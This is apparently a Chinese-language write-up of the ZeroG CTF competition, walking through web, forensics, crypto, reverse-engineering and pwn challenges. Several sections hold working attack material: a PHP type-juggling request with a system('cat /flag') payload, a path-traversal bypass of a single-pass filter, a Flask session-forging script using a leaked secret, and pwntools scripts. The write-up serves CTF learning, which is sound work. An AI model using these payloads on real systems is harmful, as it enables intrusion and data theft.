Allureluoli 二月FEBRUARY

ZeroG新神赛WP

ZeroG新神赛WP

最近比较忙,这比赛连打好几天,最高第四,结束后总排名第九,混了个三等奖

一共写了18道题,现在开始补wp

【Stage1—米米的奇幻之旅】

image-20261030182632669

这题非常基础,firefox秒了

第一关get请求,第二关有一个基础的字符串替换作为过滤,没什么用 修改参数为 fflaglag即可

第三关

image-20261030182834827

image-20261030182903862

右键重发请求后

X-Forwarded-For 修改这个头即可

….

image-20261030183241057

反正最后firefox 一把梭 (最爱火狐 可惜性能不行 现在只有CTF用了)

Stage1 - Orbital Suply

image-20261030183326050

这道题第一反应是sql注入 ,我用wappalyzer看了一下技术栈,发现后端是Python flask,果断测试SSTI注入。

image-20261026175118165

最后从环境变量中读到flag

StrangeJPG

image-20261030183905553

这题是MISC,binwalk或者foremost 分离出来有一本龙族(出题人夹带私货)和一个base64编码

解码后拿到flag

Stage1—你胆子真是肥嘟嘟的

image-20261030184148727

点击按钮访问路由:/admin

json编辑器这里

利用链:$user->class->is_admin === true

1
2
3
4
5
{"__class__":
{
"is_admin":true
}
}

比赛后复盘发现考点是递归合并键问题,用户输入顺进了共享的类级状态

污染成功后顺利进入admin得到flag

Stage1 — NmapLog

image-20261030195705495

直接wireshark打开

image-20261030195821561

打开看包,大部分都是192.168.1.100向10.0.0.50发的

后续扫描发送RST 未完成握手判断

判断扫描方式为namp的半开扫描 -sS 因此tcp握手不会全握,卡在第二步

过滤语句tcp.flags.syn == 1 && tcp.flags.ack==1

原因:

  • tcp.flags.syn == 1:SYN 标志位置位,表示同步序列号。

  • tcp.flags.ack == 1:ACK 标志位置位,表示确认号有效

因此,过滤出了这种包:服务端 → 客户端:**SYN, ACK,回应连接请求。← 过滤出的通常是这种包**

最后得到flag

ZeroGflag{192.168.1.100_10.0.0.50_22_80_443_sS}

Stage2—碰星喵的奇妙冒险

解压!

image-20261030201913735

一路下去

image-20261030202214580

发现base64后的二进制数据

可以看到无敌的我当时写了个python脚本

image-20261030202341579

但是压缩包是损坏的!有额外数据段损坏,题目也提示了

这里我投机取巧找了个在线网站

image-20261030202440834

修完了解压就拿到flag了

Stage2-夜班值守

进去之后下载题目,原网页有提示,这里懒得截了

image-20261030203512012

access.log

总之使用我强大的python脚本编写技术秒了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
with open("access.log") as f:
content = f.read()
print(content)
a = content.split("frame")
flag = ""
for i in a:
print(i[1:2])
flag+=i[1:2]
print(flag)
flag_len = len(flag) -1

while flag_len >0:
print(flag[flag_len],end="")
flag_len -= 1

注意一点就是 存在没用的首字符 我写的代码的问题 手工丢弃后即可拿到flag

Stage2-ZeroG_2026

这题一打开我就发现,和极客大挑战2023_easy_php 好像啊,然后我就去看原题wp了

image-20261030204020948

虽说如此,还是被卡了许久,太久没打ctf导致的

image-20261030203858339

这题payload找不到了,我先复现下

1
2
3
4
POST /?zero=ZeroG%202026!%0A&xp=1e9 HTTP/1.1
Content-Type: application/x-www-form-urlencoded

Welcome[_ctf.2026=240610708&Welcome[_ctf_2026=240610708&mm=QNKCDZO&code=system('cat /flag');

一共三关

1 zero=ZeroG%202026!%0A PCRE 的 $(无 D 修饰符)匹配结尾换行之前的位置,所以 "ZeroG 2026!\n" 能被正则命中,但 !== 'ZeroG 2026!' 成立(多了一个 \n)
2 xp=1e9 intval("1e9") 只取整数前缀 = 1(< 2026),而 "1e9" + 4 按科学计数法算 = 1000000004(> 2030)
3 Welcome[_ctf.2026=240610708 + mm=QNKCDZO MD5 魔术哈希,两个 0e 纯数字串松散比较相等;$a !== $b 成立因为明文不同

印象里比较深的就是 [ 会被解析为[ 然后什么会被解析成.我忘了,等题目复现了,和本地复现情况不太一样

大致和极客大挑战的大差不差。

Stage2一史迪仔的文件预览器

image-20261030210200319

image-20261030210207961

这题目一眼目录跨越,但是还是试了很久

image-20261030210302868

image-20261030210315767

通过原代码和URL收集到几个关键信息

试过伪协议,还有普通的文件跨越都不行../../../../

image-20261030210433345

测试发现是单趟字符串替换,过滤器大概模样是:

1
$file = str_replace('../', '', $_GET['file']);

image-20261030210735410

根据这个也是成功读到了源码

image-20261030210815596

后面想起来读这个文件,找到了flag的位置

image-20261030210905447

Pwn01 — 胖!什么是胖?

课业繁忙,出于时间原因 pwn只做了两道,下次比赛务必努力

这道题纯签到,没什么好说的

image-20261030211211109

Stage1 — FlaskLogin

image-20261030211939916

这题目先直接通过首页给的账户密码登录

然后注意这个🔑ctf2026 这个就是secret

Flask 会话签名是双层 HMAC——先用 SECRET_KEY 派生出签名密钥

1
2
3
4
5
6
7
8
9
10
11
12
import base64, hashlib, hmac, json, time, struct

def b64e(b): return base64.urlsafe_b64encode(b).rstrip(b"=")

secret = b"ctf2026"
key = hmac.new(secret, b"cookie-session", hashlib.sha1).digest()

payload = b64e(json.dumps({"user": "admin"}, separators=(",", ":")).encode())
ts = b64e(struct.pack(">q", int(time.time())).lstrip(b"\x00"))
sig = b64e(hmac.new(key, payload + b"." + ts, hashlib.sha1).digest())

print(b".".join([payload, ts, sig]).decode())

验签通过后得到flag

flag{fl4sk_s3ss10n_1s_n07_s3cur3}

RE07 — 诶,捡到了一部野生手机耶

这题直接拿到一血,证明实力

安装apk发现有个秘密频道

6d7370e51d733395b2c3d930b20d7812

cea517d492d98499caba75f24cb7696f

解锁这个页面

尊贵的MT管理器会员直接去改smali

9690df48d1b016383fd305dd922bad99

f7523af213a092ef0d19c65e5fde1c79_720

7e14d21075095f7381b4b1c5e9e5883c

50ae32eb4a5ee438226e422af60d7431

直接写死返回true就行了,没什么难度

stage 3 幽灵提交 Ghost Commit

首先下载题目

image-20261030221221248

在悬空提交这里找到一条记录 直接读取

1
2
git fsck
git show --stat a014b621

image-20261030220529985

拿到密文

1
YlBEViV+WFFfTgcJVQ1WVQ9RG1pSClIdDANTAE8BUQIBGA4AWwEFBV0FAAtaWUk=

也是给提示了,直接脚本还原即可

1
2
3
4
import base64
d = base64.b64decode("YlBEViV+WFFfTgcJVQ1WVQ9RG1pSClIdDANTAE8BUQIBGA4AWwEFBV0FAAtaWUk=")
k = b"8569b840"
print(bytes(c ^ k[i % 8] for i, c in enumerate(d)).decode())

ZeroGFlag{1075be7d-c02f-46e9-9e29-899915e0628a}

Pwn02 — ELF?这茂密能吃吗?

image-20261030221850099

这题目更是跟着GUIDE宝宝级教程往后做就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
import re

context.arch = "amd64"

elf = ELF("./chall", checksec=False)
addr = elf.symbols["pwnstars_secret"]
log.info("secret = %s", hex(addr))

p = process("./chall")

# Stage 1
p.sendlineafter(b"Address > ", hex(addr).encode())
p.recvuntil(b"[Stage 2]")

# Stage 2
p.recvuntil(b"Calculate:\n")
line = p.recvline().decode().strip()
# 唯一难点就是脚本不好写 但也就那样吧
m = re.fullmatch(r"\((\d+) \+ (\d+)\) \* (\d+)", line)
if m:
a, b, c = map(int, m.groups()); answer = (a + b) * c
else:
m = re.fullmatch(r"\((\d+) \* (\d+)\) \+ (\d+)", line)
if m:
a, b, c = map(int, m.groups()); answer = a * b + c
else:
answer = sum(int(x) for x in re.findall(r"\d+", line))
p.sendline(str(answer).encode())
p.recvuntil(b"[Stage 3]")

# Stage 3
p.recvuntil(b"try; ")
line = p.recvline().decode().strip()
magic1, magic2, x = [int(v) for v in re.findall(r"=\s*(\d+)", line)]
p.sendline(str((x ^ magic1) + magic2).encode())

print(p.recvall(timeout=3).decode(errors="replace"))

Stage3—重生之我在零重力屋顶当“卷王”

image-20261030221259999

image-20261030221359478

这题目直接修改成绩 向api发包就能拿到flag

游戏源码都是明文的,发包的成绩是base64 拦截发送即可

Stage1—小小的e

经典RSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# RSA 的加密公式是 c = me mod n。先看看 e 有多“小”。

n = 0x839be6cdc4b88edff570dc7fd5f4329f0eb71dda4d1b145f1699162376d3f881cec57ed510444071cd7583e165d46d4db23f065c3d0c46e0f5df07b10586c976a5aa8ba3a228bf4c35adf3058bf78e07a172345f4bac31046231feb6cb1fb34e38221d11ff66bcafd151574e0d0dac6fd85255830447fd3bc30ace70c50f6b7621c7d69cbf7c964de18f3af27c529792e61a1efbe1d871ab882e93406098e4a7a68809b238c118ffc6041d7950b1f8f02cd036d0a9728473a971c8bafa9ffa8cb132222d746fb54ccb87221cbffb75d031b7fd81b0fdaabe4fc2feefe865dddd273b9bc2d73ae407e0d452e3b2c13e6d42c981dbf2ae83053d75f7be67fc94fb

e = 3

c = 0xb4570009905c5f2decb8e9d92692696620ffa970e6afaee23835683fd1505edaba7f83507f9102c37fb1bf5722681bed59ba107a080d61b3d8a502cca30263499804f38795385e2723a3ef0dc6b4fc3800755a3049f91996dcb75ffb43ec65ebbbba1a7ae6ba361aa5aaba458b1ce127ed6c38a97dbddad57520ac5ca89e15965

import gmpy2

m, exact = gmpy2.iroot(c, e) # 验证是否能开方
if exact:
m = int(m)
print(m.to_bytes((m.bit_length() + 7) // 8, "big").decode())

RE01 — 藏了,但没完全藏

首先Hxd16进制查看文件拿到密文

image-20261030225747751

然后发现是凯撒加密 但是注意数字也要位移

image-20261030225330131

image-20261030230027647

Stage2 — MagicInvoker

这题秒的太快了,录屏没录上,是不是PHP魔术方法+POP 链条执行

想起来了,题目给了四个魔术方法,直接反序列化调用RCE读取flag就行

评论COMMENTS